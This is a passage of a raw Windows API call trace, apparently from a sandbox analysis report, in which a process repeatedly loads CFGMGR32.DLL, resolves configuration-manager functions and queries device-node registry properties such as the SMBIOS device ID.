GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.517] malloc (_Size=0x18) returned 0x20abc281ea0 [0246.517] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0246.517] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4eb324a4, dwHighDateTime=0x1d9eb0c)) [0246.518] SetEvent (hEvent=0x248) returned 1 [0246.524] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.525] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.529] malloc (_Size=0x18) returned 0x20abc282000 [0246.529] CM_Get_Device_IDA (in: dnDevInst=0x3a, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\MSSMBIOS\\0000") returned 0x0 [0246.529] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4eb5859a, dwHighDateTime=0x1d9eb0c)) [0246.530] SetEvent (hEvent=0x248) returned 1 [0246.534] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.534] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.539] malloc (_Size=0x18) returned 0x20abc281b60 [0246.540] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0246.540] malloc (_Size=0x1e) returned 0x20abc2a9fa0 [0246.540] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9fa0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9fa0, pulLength=0x2dc22fd3f8) returned 0x0 [0246.541] free (_Block=0x20abc2a9fa0) [0246.541] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4eb7e860, dwHighDateTime=0x1d9eb0c)) [0246.541] SetEvent (hEvent=0x248) returned 1 [0246.659] malloc (_Size=0x18) returned 0x20abc2819a0 [0246.659] SafeArrayPutElement (psa=0x20abbaf22e0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0246.659] free (_Block=0x20abc2819a0) [0246.659] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0246.659] SafeArrayGetDim (psa=0x20abbaf22e0) returned 0x1 [0246.659] SafeArrayGetLBound (in: psa=0x20abbaf22e0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0246.659] SafeArrayGetUBound (in: psa=0x20abbaf22e0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0246.659] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79670 [0246.659] SafeArrayGetDim (psa=0x20abbaf22e0) returned 0x1 [0246.659] SafeArrayGetUBound (in: psa=0x20abbaf22e0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0246.659] SafeArrayGetElemsize (psa=0x20abbaf22e0) returned 0x8 [0246.660] SafeArrayGetElement (in: psa=0x20abbaf22e0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0246.660] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402230, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.661] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79670) returned 1 [0246.662] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0246.663] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.663] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.668] malloc (_Size=0x18) returned 0x20abc282040 [0246.668] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0246.670] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4ecafbf0, dwHighDateTime=0x1d9eb0c)) [0246.671] SetEvent (hEvent=0x248) returned 1 [0246.676] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.676] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.680] malloc (_Size=0x18) returned 0x20abc2820c0 [0246.681] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.691] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4ecd8182, dwHighDateTime=0x1d9eb0c)) [0246.692] SetEvent (hEvent=0x248) returned 1 [0246.697] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.697] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.702] malloc (_Size=0x18) returned 0x20abc281bc0 [0246.702] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.703] malloc (_Size=0x48) returned 0x20abc27cf80 [0246.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4ecfd625, dwHighDateTime=0x1d9eb0c)) [0246.704] SetEvent (hEvent=0x248) returned 1 [0246.874] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.874] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.878] malloc (_Size=0x18) returned 0x20abc281b40 [0246.879] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.880] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4ee9f8c6, dwHighDateTime=0x1d9eb0c)) [0246.881] SetEvent (hEvent=0x248) returned 1 [0246.888] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.888] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.893] malloc (_Size=0x18) returned 0x20abc281b60 [0246.893] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.893] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4eec64bd, dwHighDateTime=0x1d9eb0c)) [0246.894] SetEvent (hEvent=0x248) returned 1 [0246.902] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.902] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 